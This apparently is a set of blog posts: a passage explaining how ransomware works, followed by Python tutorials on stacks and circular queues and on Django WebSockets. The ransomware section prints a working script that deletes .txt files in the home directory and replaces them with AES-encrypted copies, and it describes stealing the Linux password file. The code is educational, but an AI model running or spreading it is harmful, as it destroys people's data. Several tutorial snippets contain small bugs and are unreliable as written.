This second script copies the file of users and passwords from a Linux machine and sends it to the attacker. Although the passwords are encrypted, if the password is weak, it can be easily deciphered through hash databases or common cryptology techniques. As you can see, a machine infected with malicious code can become the target of various types of attacks or data theft.

Encryption

Once the attacker establishes a connection and sets the encryption key, the data hijacking process begins. With it, files of any format are lost, be they .GIF, .xml, .png, executables, Microsoft Office files, and any others. In the example below, we are using a Python script to encrypt all files in the Home directory recursively that are in the .txt format.

As you can see, this script has 4 steps:

List the files and read their content.
Remove the original file.
Encrypt the content of the files.
Save the encrypted content in a .ransomcrypter file.


#! /usr/bin/env python

import os
import glob
import pyaes
import pathlib

target_files = ["*.txt"]
try:
    desktop = pathlib.Path.home()
except Exception:
    pass

def encrypt():

    for files in target_files:
        for format_file in glob.glob(files):
            f = open(f'{desktop}\\{format_file}', 'rb')
            file_data = f.read()
            f.close()

            os.remove(f'{desktop}\\{format_file}')
            encrypt_key = b"somerandomkeylol"
            aes = pyaes.AESModeOfOperationCTR(encrypt_key)
            data_encrypted = aes.encrypt(file_data)

            encrypt_file = format_file + ".ransomcrypter"
            encrypt_file = open(f'{desktop}\\{encrypt_file}', 'wb')
            encrypt_file.write(data_encrypted)
            encrypt_file.close()

if __name__ == "__main__":
    encrypt()

Currently, there are various types of encryption methods available for data ransom, but most ransomware attacks rely on symmetric and asymmetric keys, each of them having advantages and disadvantages compared to others.

hint: In some cases, there are ransomware strains that employ both types of encryption, thereby surpassing limitations of each method.

Symmetric keys

Malwares that use symmetric keys often generate them through information from the target device itself. Encryption with this type of key offers several advantages to the attacker because it is a simple and effective system. By using a symmetric key, the attacker ensures low resource usage on the machine, avoiding detection by monitoring systems and increasing encryption speed. Another common benefit of this type of key is that, since each key is generated from information on the target machine, each target has a different encryption key, which allows for better observability by the attacker. This helps them determine which attacks were successful or not.

However, not everything that glitters is gold; this method of attack has a vulnerability that can be fatal for the attacker. By using a key generated by the target machine itself, the user can recover this key by accessing the computer's volatile memory. When accessing the memory device, simply look for clues such as messages, keys, and other hints about the encryption key. That's why ransomware solely relying on symmetric keys is becoming less popular.

Asymmetric keys

Asymmetric keys are based on pairs of public and private keys. If information is encrypted with the public key, it can only be decrypted with the private key, and vice versa. When a private key encrypts a file, only its corresponding public key can decrypt it.

By using a public key for encryption, the attacker eliminates the success of any forensic memory analysis attempts, leaving the target with options such as searching for vulnerabilities in the encryption algorithm, conducting brute force tests, paying the attacker, or being prepared for the situation through system backups.

In this case of keys, the attacker uses their public key to encrypt the target's data. The key is accessed by the malware in two ways.

Embedded key: The encryption key is stored in the machine's memory, and the process can occur while the computer is online or offline.
Downloaded key: In this case, the key is downloaded from the attacker's server whenever the computer is online.

hint: At another time, we will talk more about cryptography.

The biggest advantage of this method is that asymmetric keys have very large sizes (2048 bits or greater), which makes a brute-force attack infeasible.

hint: A common practice in more modern ransomware is the use of both encryption methods.

Indeed, ransomware can take advantage of the efficiency of symmetric keys and the security of asymmetric keys during the same attack. To do this, it could use the symmetric key to encrypt files. Once the encryption of the target is completed, the symmetric key is encrypted with a public key (asymmetric key), making it inaccessible to the victim. This way, the ransom is demanded in exchange for access to the attacker's private key, which then enables access to the encryption key used for the files.

Extortion

After the kidnapping is complete, whether of all data or important files, the extortion phase begins. Often, it is only during this phase that the target realizes they have fallen victim to a digital scam. Typically, this phase is straightforward and simply informs the target that their data has been stolen and that they need to send some payment to a virtual address, usually in some cryptocurrency.

"Should I pay the attacker?" The answer is always depends, usually the amount charged for common targets is lower than the amount that would be spent on data recovery. There is also the factor of the importance of the kidnapped data. "Are these data I can live without?" Each situation requires a specific assessment to decide which measures should be taken. However, there are suggestions in case you ever find yourself in this situation:

Disconnect the machine from any network.
Contact the local police.
Do not accept communications from anonymous sources or the attacker without first receiving legal guidance on the issue.

You can see this repository and others by clicking this link

Solving Real Validation and Performance Issues with Stacks and Queues

Alisson — Thu, 16 Nov 2023 11:26:07 +0000

In the current world, new algorithms are constantly being developed to tackle complex challenges. However, the crucial role of simple algorithms in the realm of computing should not be underestimated. In this context, we will delve into two fundamental data structures. We will practically explore how to create and utilize these structures to solve real-world problems. This comprehensive guide will provide a complete understanding of the creation and implementation of these structures, bridging the gap from theory to practice.

Stack

Let's begin our journey into data structures and algorithms by studying the Stacks. This is a dynamic set that operates on the principle of Last In, First Out (LIFO). The stack data structure serves as the foundation for more complex structures such as Trees and Graphs. Its ability to orderly store data is highly useful for keeping track of paths in both previously mentioned structures, reversing text documents, browser tabs, and even processor tasks. The primary operations with the stack are Insert, Pop, Peek Top, and Empty, commonly used for inserting, deleting (which takes no arguments), checking the last element inserted in the stack and currently at the top, and verifying if the stack is empty.

The fundamental structure of a stack can be interpreted as S[1, N], where N is the maximum size of the set and represents the top of the stack, i.e., the last element inserted.

Let's start our implementation.

First we create our virtual environment and import the Numpy package to help us with implementation

mkdir DataStructure
cd DataStructure
python3 -m venv venv
source venv/bin/activate
pip install numpy

Now we will start building our Stack class by creating 3 variables.

size -> the size of our stack
top -> the beginning of the stack
values -> the array that will store our elements

import numpy as np

class Stack:
    def __init__(self, size):
        self.__size = size
        self.__top = -1
        self.__values = np.empty(self.__size, dtype=int)

The first method has been designed to check whether the stack is already full. It is a straightforward approach that examines whether the index of the first element equals the stack size. This method is employed exclusively when adding new elements, and the double underscores signify that it is a private method, intended for use only within the class.

    def __is_full(self):
        return self.__top == self.__size - 1

Hint: The array positions starts with 0. An array with lenght equals to five has the following indices 0,1,2,3,4.

The second method has been implemented to check whether the stack is empty. This is indicated when the value of the index of the top element equals the initial value set during the creation of the class.

    def __is_empty(self):
        return self.__top == -1

The third method is responsible for inserting a new element into the stack. Initially, it checks if the stack is already full; if it is, it will return an exception. If the stack is not full, it increments the value of the index of the first element by 1 and adds the new element to the stack.

    def push(self, value):
        if self.__is_full():
            raise Exception("The stack is full")
        else:
            self.__top += 1
            self.__values[self.__top] = value
            return f"the value: {value} has been entered!"

The fourth method removes the item from the top of the stack. With this method and the one before it, we implement the Last In, First Out (LIFO) principle. Initially, it checks if the stack is already empty. If it is not empty, it updates the index of the removed element. It's important to note that the stack does not erase the element itself but rather updates the index, allowing that position to be overwritten when a new element arrives.

    def pop(self):
        if self.__is_empty():
            raise Exception("The stack is empty")
        else:
            self.__top -= 1
            return f"the value: {self.__values[self.__top]} has been removed"

Finally, we have the method that returns the element at the top of the stack. The other elements in the stack are not visible to the user; thus, the user has visibility only of the input and output elements.

    def peek_top(self):
        if self.__top != -1:
            return self.__values[self.__top]
        else:
            return -1

Now that our stack has been structured, let's explore an example of how to use this data structure.

Example usage of the Stack class

We will create an instance of the Stack class and set the size of its array to five. Subsequently, we will iterate five times in a for loop, pushing the value of each iteration onto our stack. Later, we can ascertain the last element in the stack by invoking the 'peek_top' method.

stack = Stack(5)

for x in range(5):
    print(stack.push(x))
print("Top of stack is:", stack.peek_top())

The return of this test it's:

the value: 0 has been entered!
the value: 1 has been entered!
the value: 2 has been entered!
the value: 3 has been entered!
the value: 4 has been entered!
Top of stack is: 4

And if we exceed the stack size by increasing the iteration to six we will receive this Exception:

Traceback (most recent call last):
  File "stack.py", line 63, in <module>
    print(stack.push(x))
  File "stack.py", line 31, in push
    raise Exception("The stack is full")
Exception: The stack is full

We can also test removing items at the top of the list with the following code:

for _ in range(4):
    print(stack.pop())
print("Top of stack is:", stack.peek_top())

Hint: We use the underscore in this iteration because we don't wanna save the value of each iteration.

The return of the pop method:

the value: 3 has been removed
the value: 2 has been removed
the value: 1 has been removed
the value: 0 has been removed
Top of stack is: 0

And in case we try to remove an element with an empty stack, we receive an exception:

Traceback (most recent call last):
  File "stack.py", line 67, in <module>
    print(stack.pop())
  File "stack.py", line 43, in pop
    raise Exception("The stack is empty")
Exception: The stack is empty

You're probably wondering "Woah, now where the hell is this used in the real world dude????"

Be patient, young padawan. The stack system is widely used in various areas of technology. You've likely encountered it in your IDE, though you might not have consciously realized it. Let's refresh your memory. Consider when you create a function in Java to add two numbers and print the result on the screen like this.

public class SumNumbers {
    public static void addAndPrint(int num1, int num2) {
        int result = num1 + num2;
        System.out.println("Sum result: " + result);
    }

    public static void main(String[] args) {
        int number1 = 5;
        int number2 = 10;

        addAndPrint(number1, number2);
    }
}

If you eventually do not close a parenthesis or bracket, you will receive a compilation error similar to this.

/SumNumbers.java:11: error: ')' expected
        addAndPrint(number1, number2;
                                    ^
1 error

This is possible because the compiler stores the values of the opening parentheses on a stack. When the stack is being disassembled, it expects its elements to be completely emptied. If the compiler does not find a corresponding pair for that open parenthesis, an exception will be displayed in the terminal.

We can create a stack that simulates the behavior with just a few adjustments to our original structure.

Let's change the type of array we use in this case to the Char type.

class Stack:
    def __init__(self, size):
        self.__size = size
        self.__top = -1
        self.__values = np.chararray(self.__size, unicode=True)

We will also change the peek top method just for better visualization.

    def peek_top(self):
        if not self.__is_empty():
            return self.__values[self.__top]
        else:
            return None

And let's set the method is_empty as a public method.

    def is_empty(self):
        return self.__top == -1

Now we will create a function that receives input from the user of type string and creates an instance of the Stack class with the same size as the string entered by the user.

def validate_expression(expression):
    stack = Stack(len(expression))

Next, we will iterate through the string, searching for the opening symbols of braces, brackets, and parentheses. If identified, we will add them to our stack.

    for i in range(len(expression)):
        ch = expression[i]
        if ch in ['{', '[', '(']:
            stack.push(ch)

In the same iteration, we will search, always checking if the stack is empty, for the closing symbols of braces, parentheses, and brackets. Within the first conditional, whenever we encounter one of these values, we will remove the last value inserted in the stack.

        elif ch in ['}', ']', ')']:
            if not stack.is_empty():
                chx = str(stack.pop())
                if (ch == '}' and chx != '{') or (ch == ']' and chx != '[') or (ch == ')' and chx != '('):
                    raise Exception(f"Error: {ch} in position {i}")

The function should look like this:

def validate_expression(expression):
    stack = Stack(len(expression))

    for i in range(len(expression)):
        ch = expression[i]
        if ch in ['{', '[', '(']:
            stack.push(ch)
        elif ch in ['}', ']', ')']:
            if not stack.is_empty():
                chx = str(stack.pop())
                if (ch == '}' and chx != '{') or (ch == ']' and chx != '[') or (ch == ')' and chx != '('):
                    raise Exception(f"Error: {ch} in position {i}")
    if not stack.is_empty():
        raise Exception("Error: Unmatched opening bracket(s)")

To test our function we will receive input from the user and call the Stack class.

expression = input("Type your expression: ")
validate_expression(expression)
print("Expression is valid.")

Let's test with four inputs:

(a)(b){c}
a(a[b]{c(d)})
a(b(c(d)}])
a(b{c)

Respectively our returns are:

Expression is valid.

Expression is valid.

Traceback (most recent call last):
  File "expression_validate.py", line 52, in <module>
    validate_expression(expression)
  File "expression_validate.py", line 47, in validate_expression
    raise Exception(f"Error: {ch} in position {i}")
Exception: Error: } in position 8

Traceback (most recent call last):
  File "expression_validate.py", line 52, in <module>
    validate_expression(expression)
  File "expression_validate.py", line 47, in validate_expression
    raise Exception(f"Error: {ch} in position {i}")
Exception: Error: ) in position 5

Note that in the third and fourth entries, the last line of the Exception indicates that there is an error in positions eight and five respectively indicating that the braces were closed but not opened.

Queues

The queue, also known as a queue in English, is a dynamic set with a different principle called FIFO (First In, First Out). This approach is essential for solving complex application stress problems by organizing requests and processes based on the order in which they were created. This flow is fundamental for the orderly execution of asynchronous tasks, allowing, if the maximum capacity of the software or function is exceeded, surplus processes to be temporarily stored in data such as a cache. As executions occur, new processes in waiting are executed, ensuring the order of tasks. Various complex libraries, such as Celery, Kombu, Apache Kafka, and others, have been developed based on this data structure.

The queue shares some operations with the stack, such as Is empty and Is full. However, it also has other methods, such as Enqueue and Dequeue, which involve adding an item to the end of the queue and removing an item from the beginning of the queue, respectively.

There are two main types of queues, commonly referred to as linear queue and circular queue. In practice, the difference between them lies in the fact that a linear queue requires rearranging all positions when an element is added or removed. In the case of a circular queue, the indices indicating the first and last elements are repositioned. This approach has a direct impact on the algorithm's performance.In this section we will study about circular queues.

1) Let's start by visualizing how enqueue operations would work. We'll insert the first item into the queue, and this element will have the same indices referencing both the first and last positions.

2) The second enqueue operation will add an element to the queue structure, thereby shifting the index that references the last position to the right.

3) The third enqueue operation, again, will add an element to the queue structure, thereby shifting the index that references the last position to the right.

4) The fourth enqueue operation will add an element to the queue structure, causing the index referencing the last position to shift to the right. In this operation, our array will reach its maximum size, and the index referencing the position of the last element will be equal to the array size minus one.

Hint:Q[Last index] == Q[Size - 1]

5) The fifth operation will be dequeue. Conceptually, this operation will leave position 0 of our array empty but will maintain the original order of the first and last place indicators.

6) The sixth operation will again be enqueue, this operation will remove the next element to be dequeued, which has been to the left of the last element until now, shifting it to the right of the last element. This aspect of the operation requires a bit more attention when dealing with the code

7) Next, we will perform the dequeue operation followed by enqueue, which will maintain the current order of the next to be removed and last to be removed.

This way, we do not need to reallocate all elements in the list with each new operation. With this approach, we move away from using a linear queue with a performance of a Big O(n) algorithm and instead, utilize a circular queue that operates with a Big O(1) time complexity, maintaining constant performance regardless of the queue size.

Queue implementation

Hint:If you skipped to this part, go back a little to see the creation of our virtual environment.

First, let's create our Queue class and define five attributes.

size -> The total size of the Queue.
start -> The first index of the Queue.
end -> The last index of the Queue.
elements -> All elements in the Queue.
values -> The array that the queue will be structured, with two parameters Size that will define the size of the array and dtype to indicate the type of data that will be inserted.

import numpy as np

class CircularQueue:
    def __init__(self, size):
        self.size = size
        self.start = 0
        self.end = -1
        self.elements = 0
        self.values = np.empty(self.size, dtype=int)

Next, we will create two simple methods that will return boolean values indicating whether the queue is empty or full. The queue will be considered full when the index value of the last added element is equal to the total size of the list indicated in its instance.

    def __empty(self):
        return self.elements == 0

    def __is_full(self):
        return self.elements == self.size

Here, we will create the enqueue method responsible for adding elements to the queue. Initially, we check if the queue is full. If it is, we print a message on the screen and conclude the method call. However, if it's not full, we initiate the addition process.

First, we examine the positions of the next element to be removed and the last element. In this example queue [x, 2, 3, 4, 5], the index of the current last element is 4. Therefore, we check if the value of the last index satisfies the condition size - 1 == 4. If true, since the queue isn't full, it means we have reached the last position but have empty spaces to the left.

This way, the index of the next element will be -1. In the next line, we perform the operation -1 + 1, which will return the value of index 0. This action causes the algorithm to overwrite the element at position zero, which has already been removed, with the next input element, thereby reversing the positions of the indicators.

Then we will simply add the new element to the queue and update the values.

    def enqueue(self, value):
        if self.__is_full():
            print('The queue is full')
            return
        else:
            if self.end == self.size - 1:
                self.end = -1
            self.end +=1 
            self.values[self.end] = value 
            self.elements +=1

The next method to be created is the dequeue, responsible for removing an element from the queue. Initially, we will check if the queue is already empty. If it is, a message indicating that the queue is already empty will be printed, and the method will be terminated. If the queue is not empty, we will store the value of the object to be removed in the tmp variable and move the start index to the next element to be removed in future calls.

Next, it checks if start has reached the end of the queue (the last possible index). If yes, it adjusts start to 0, indicating that the queue forms a loop, and the next element to be removed will be at the beginning of the queue.

Then, we update the queue values and return the removed value.

    def dequeue(self):
        if self.__empty():
            print('The queue is already empty')
            return 
        tmp = self.values[self.start] 
        self.start +=1 
        if self.start == self.size -1:
            self.start = 0 
        self.elements -= 1
        return tmp

The last method will be first, which simply returns the next object to be removed from the queue without performing any operation on it. Initially, we check if the queue is not empty. If it is, we print a message on the screen and terminate the method call. If it is not empty, we locate the element by the start index and return the element at that position.

    def first(self):
        if self.__empty():
            return -1
        return self.values[self.start]

To test our implementation, we will perform a simple sequence of enqueues and dequeues, creating a queue with a size of 5.

queue = CircularQueue(5)
print(queue.first()) # Empty queue
----------------------------------------
-1

After that, we will call our enqueue method to add five elements to the queue and print the result.

for i in range(5):
    queue.enqueue(i)
print(f"The value of the first element is: {queue.first()}")
----------------------------------------
The value of the first element is: 0

Hint: The value printed in the result above corresponds to the value of the element and not the index.

Then, we will remove two elements and check what our first element in the list is after the removal.

for j in range(2):
    print(f"The removed element has the value of {queue.dequeue()}")
print(f"The first element of the queue is: {queue.first()}")
----------------------------------------
The removed element has the value of 0
The removed element has the value of 1

Now we will insert two more elements in the queue, the first insertion will swap the positions of the indicators with each other.

for i in range(6,8):
    queue.enqueue(i)

Then we will remove two elements again and check what our first element in the list is after the new removal.

for j in range(2):
    print(f"The removed element has the value of {queue.dequeue()}")
print(f"The first element of the queue is: {queue.first()}")
----------------------------------------
The removed element has the value of 2
The removed element has the value of 3
The first element of the queue is: 6

In summary, circular queues and stacks are essential components in streamlining data management processes. Their efficiency lies in the seamless handling of elements, providing valuable insights for tech enthusiasts. As we navigate the intricacies of computer science, a solid grasp of circular queues and stacks becomes indispensable for elevating algorithmic expertise.

Feel free to send your questions and clone the repository to access the full code

Sockets for real-time data flow with Django Rest Framework

Alisson — Thu, 02 Nov 2023 06:48:42 +0000

Real-Time Communication with Sockets

In today's discussion, we delve into the realm of real-time communication between the back end and front end. We understand that a continuous data flow fosters a better user experience. However, without delving superficially into less sophisticated techniques such as API polling, we will focus directly on the power of socket-based communication. Python and Django natively support this approach, which involves a bidirectional protocol enabling a constant data stream between the sender and recipient.

Stay tuned to explore the fascinating world of Django sockets and how they revolutionize real-time communication.

First of all let's configure our environment.

Setting Up Your Django Project Directory

To get started, let's create a directory for our project, which we'll name 'sockets.' Next, we'll update our package manager 'pip' and install the Django framework.

Follow these steps to set up your project directory:

Create a project directory named 'sockets':

   mkdir sockets
   cd sockets

Update your package manager 'pip':

   python3.10 -m pip install --upgrade pip

Install the Django framework and Daphne:

   pip install django, daphne, channels

Hint: Daphne is an ASGI (ASGI (Asynchronous Server Gateway Interface) capable of managing WebSockets type connections and asynchronous communications

Create and activate your virtual environment.

python3.10 -m venv vsocket
source vsocket/bin/activate

When you run these commands you will see something similar to this.

Create your django project and your django app with these commands:

django-admin startproject yourprojectname
django-admin startapp yourappname

Register your application and daphne in the settings.py file in the 'INSTALLED_APPS' array. It is extremely important that 'daphne' is in position 0 of the array.

# Application definition

INSTALLED_APPS = [
    'daphne',
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'yourappname'
]

Direct the entry point for asynchronous communications to the correct file.

# Still in settings file.

WSGI_APPLICATION = 'yourprojectname.wsgi.application'
ASGI_APPLICATION = 'yourprojectname.asgi.application'

We will configure our ASGI server later. 😄

*Now let's configure our consumers, routing and models files.

Firstly, let's just create a model to serve data for our socket.

from django.db import models

class Random(models.Model):
    id = models.BigAutoField(primary_key=True)
    text = models.CharFiel(max_lenght=255, blank=True,null=True)

class Queue(models.Model):
    id = models.BigAutoField(primary_key=True)
    status = models.IntegerField()

Let's apply this record to our database with the following commands.

python3 manage.py makemigrations
python3 manage.py migrate

Hint: WebSocket Consumers in Django.

WebSocket consumers in Django are classes that handle server-side logic for real-time communications, such as WebSocket connections. They are responsible for handling the interactive and real-time features of Django web applications. Consumers respond to WebSocket events such as opening, closing, and message exchange, and are defined based on routes that map WebSocket URLs to specific consumers. They work with asynchronous code to efficiently manage multiple simultaneous connections.

To create our consumer, we need create a file called 'consumers.py

First we will create a Consumer class that will inherit the WebsocketConsumer class to handle WebSocket communications.
Next we will implement the connect method to provide the means of connection between the client and the server. After the connection is made, the client is accepted with the accept method, which allows the client to send and receive data.
Then we create a repeating block that will constantly update the number of records in the Random table in our database.
Later we have the disconnect method created to close the connection and the receive method that returns by default the data sent from the client to itself.

import json
import time
from channels.generic.websocket import WebsocketConsumer
from socketapp import models

class Consumer(WebsocketConsumer):
    def connect(self):
        self.accept()
        while int(1) in Queue.objects.all().values_list('status', flat=True):
            self.send(text_data=json.dumps({"value":Random.objects.all().count()}))
            Random.objects.create(text = "test")
            time.sleep(2)
        self.close()

    def disconnect(self, close_code):
        pass

    def receive(self, text_data):
        self.send(text_data=text_data)
        self.close()

Any logic could be implemented to customize the disconnect and receive methods.

Now let's create our routes file. He will be responsible for making our consumer logic available to consumers.

We will create another file called routing.py. This file is similar to a traditional url file from a common django project, but it uses another communication protocol.

from django.urls import path

from . import consumers

ws_urlpatterns = [
    path("ws/test/", consumers.Consumer.as_asgi())
]

Explaining this code, we use the path method to create our routes, this method will connect our logic created in the Consumer class and relate it to a url defined in the first parameter of the method.

Note that we use a method called "as_asgi" in the Consumer class. This method allows our class to be managed by our Daphne as an ASGI object.

Now you remember that previously we left it to configure our ASGI later? Well, now is the time.Here we configure the ASGI entry point for our Django application.

import os
from django.core.asgi import get_asgi_application
from channels.routing import ProtocolTypeRouter, URLRouter
from channels.auth import AuthMiddlewareStack
from socketapp import routing

os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'socketdevto.settings')

application = ProtocolTypeRouter({
    "http": get_asgi_application(),
    "websocket": AuthMiddlewareStack(
        URLRouter(
            routing.ws_urlpatterns
        )
    ),
})

Step-by-step

In this line we inform ASGI which file it will pull the settings from, that is, we point out the environment variables.

os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'socketdevto.settings')

After that, with 'ProtocolTypeRouter' we will define how each protocol will be treated in our application. In this case we are configuring the HTTP protocol and the WebSocket protocol.

"http": get_asgi_application()

For the HTTP protocol we will use django's default ASGI application.

"websocket": AuthMiddlewareStack( URLRouter( routing.ws_urlpatterns ) ),

For the WebSocket protocol we will use a stack of middleware (functions that intermediate communication, changing behaviors, adding or removing information) similar to the standard middleware present in our project's settings.py file. Next we call the URL router to map our WebSockets endpoints and our urls.

Note that we are passing our small list of urls defined in the 'routing.py' file as a parameter.

Seeing the result of our implementation.

We will start by building our html file to display our data in the browser.

<html>
    <head>
        <title>Teste</title>

    </head>
    <body>
        <h1 id = "app">{{ value }}</h1>
    </body>
</html>


<script>
    var socket = new WebSocket("ws://localhost:8000/ws/test/");
    socket.onmessage = function(event) {
        var djangodata = event.data;
        console.log(djangodata);
        document.querySelector("#app").innerText = djangodata;
    };


</script>

file name: test.html

Let me explain our JavaScript code. With this code we create 'the other part' of two-way communication, the listener.
This JavaScript code establishes a WebSocket connection with a server, listens for incoming messages, logs the message content to the browser console, and updates an HTML element with the received message content.

Now we will create our view, which will render our data in the browser.

#views.py

from socketapp import models
from django.shortcuts import render

def test(request):
    return render(request, 'test.html', context = {})

Now let's access the django shell, import our models and create a Queue object with status = 1.

python3 manage.py shell
from yourappname import models

models.Queue.objects.create(status = 1)

exit()

Finally you can run the command python3 manage.py runserver and access the following address on your machine: http://127.0.0.1:8000/test. You should see a dictionary like this {"value": int}, where the value of the "value" key grows in 2 second intervals without having to refresh your browser.

You can check out the entire project here